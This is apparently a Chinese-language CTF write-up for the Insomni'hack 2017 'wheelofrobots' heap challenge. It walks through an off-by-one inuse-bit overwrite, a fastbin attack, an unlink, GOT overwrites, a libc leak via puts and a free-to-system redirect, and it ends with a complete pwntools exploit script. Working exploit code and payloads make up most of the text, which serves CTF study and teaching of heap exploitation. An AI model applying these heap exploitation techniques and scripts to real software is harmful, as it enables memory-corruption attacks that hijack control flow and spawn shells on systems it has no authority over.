https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2017_insomni'hack_wheelofrobots
grxer@Ubuntu16 ~/D/p/heap> checksec wheelofrobots [*] '/home/grxer/Desktop/pwn/heap/wheelofrobots' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
robots指针地址
0x6030e0 - robot 4
0x6030e8 - robot 6
0x6030f0 - robot 2
0x6030f8 - robot 1
0x603100 - robot 3
0x603108 - robot 5
大小
0x603138 - robot 2
0x603140 - robot 3
0x603148 - robot 6
程序add()里num = read_num((char *)&choice, 5uLL);存在off by one漏洞,会覆盖掉robots 2的inuse位,一切的一切都从这里开始
fastbin attach任意长度堆溢出
我们申请到robots2,大小控制到fastbin,0x20把,然后free掉这个chunk
这个时候fast bin0x20出现这个chunk指针,我们可以通过offbyone,重新使用这个堆,这个时候往这个chunk里面写入值,robots2+0x10已经不是原来的user data,而是fd指针,我们把他改为一个伪造的free chunk地址,申请0x20堆块的第二次,就可以申请到这个伪造chunk,那就可以实现地址读写,但是要绕过,fastbin 的size=0x21检测,伪造的free chunk+0x8需要=0x21,我们观察程序选择到0x603138,因为robots3,size是可控为0x21的,
我们拿到0x603138这个chunk后,会往0x603138+0x10=0x603148,即robot 6的size写入值,就可以实现任意大小堆溢出
add(2, 1) remove(2) overflow_benderinuse(b'\x01') change(2, p64(0x603138)) overflow_benderinuse(b'\x00') add(2, 1) add(3,0x21) add(1) remove(2) remove(3) add(6,3) add(3,7) change(1,p64(0x80))
|
构造unlink
常规构造,不多bb
target = 0x6030E8 fd = target - 0x18 bk = target - 0x10 payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8 payload += p64(0x40) + p64(0xa0) change(6,payload) remove(3)
|
0x6030E8,地址写入0x6030D0
老办法
overflow_benderinuse(b'\x01') free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts'] payload = p64(0)*3+ p64(free_got)+p64(puts_got)+p64(atoi_got) change(6,payload)
|
2 6 1可用 puts free atoi
change(6,p64(puts_plt)) remove(2) puts_ad=u64(r(6).ljust(8,b'\x00')) p('puts',puts_ad) libc=LibcSearcher('puts',puts_ad) base=puts_ad-libc.dump('puts') system=libc.dump('system')+base change(1,p64(system)) sla(b'oice : ',b'sh\x00')
|
新办法
我们先
payload = p64(0)*2 + b’a’*0x18 + p64(0x6030e8)
change(6,payload)
把1的指针指向6,这样就可以写一个通用函数去修改
def write(where, what): change(1, p64(where)) change(6, p64(what))
|
我们去利用start_robot打印出地址,由于打印结束后会exit,我们需要先hook掉这个exitgot,改为leave ret或ret即可
然后去修改got即可
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8) change(6,payload) write(0x603130, 3) leaveret=0x40172a ret=0x40172b write(elf.got['exit'], leaveret) change(1,p64(elf.got['puts'])) sla(b'choice : ', b'4') ru(b'great!! Thx ') puts_ad=u64(r(6).ljust(8,b'\x00')) p('puts',puts_ad) libc=LibcSearcher('puts',puts_ad) base=puts_ad-libc.dump('puts') system=libc.dump('system')+base bin=libc.dump('str_bin_sh')+base write(elf.got['free'], system) change(1,p64(bin)) remove(6)
|
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./wheelofrobots' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset
def add(idx, size=0): io.recvuntil(b'Your choice :') io.sendline(b'1') io.recvuntil(b'Your choice :') io.sendline(str(idx).encode()) if idx == 2: io.recvuntil(b"Increase Bender's intelligence: ") io.sendline(str(size).encode()) elif idx == 3: io.recvuntil(b"Increase Robot Devil's cruelty: ") io.sendline(str(size).encode()) elif idx == 6: io.recvuntil(b"Increase Destructor's powerful: ") io.sendline(str(size).encode())
def remove(idx): io.recvuntil(b'Your choice :') io.sendline(b'2') io.recvuntil(b'Your choice :') io.sendline(str(idx).encode())
def change(idx, name): io.recvuntil(b'Your choice :') io.sendline(b'3') io.recvuntil(b'Your choice :') io.sendline(str(idx).encode()) io.recvuntil(b"Robot's name: \n") io.send(name)
def start_robot(): io.recvuntil(b'Your choice :') io.sendline(b'4')
def overflow_benderinuse(inuse): io.recvuntil(b'Your choice :') io.sendline(b'1') io.recvuntil(b'Your choice :') io.send(b'9999' + inuse)
def write(where, what): change(1, p64(where)) change(6, p64(what))
db('b *0x401725') add(2, 1) remove(2) overflow_benderinuse(b'\x01') change(2, p64(0x603138)) overflow_benderinuse(b'\x00') add(2, 1) add(3,0x21) add(1) remove(2) remove(3) add(6,3) add(3,7) change(1,p64(0x80))
target = 0x6030E8 fd = target - 0x18 bk = target - 0x10 payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8 payload += p64(0x40) + p64(0xa0) change(6,payload) remove(3)
free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts']
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8) change(6,payload) write(0x603130, 3) leaveret=0x40172a ret=0x40172b write(elf.got['exit'], leaveret) change(1,p64(elf.got['puts'])) sla(b'choice : ', b'4') ru(b'great!! Thx ') puts_ad=u64(r(6).ljust(8,b'\x00')) p('puts',puts_ad) libc=LibcSearcher('puts',puts_ad) base=puts_ad-libc.dump('puts') system=libc.dump('system')+base bin=libc.dump('str_bin_sh')+base write(elf.got['free'], system) change(1,p64(bin)) remove(6) io.interactive()
|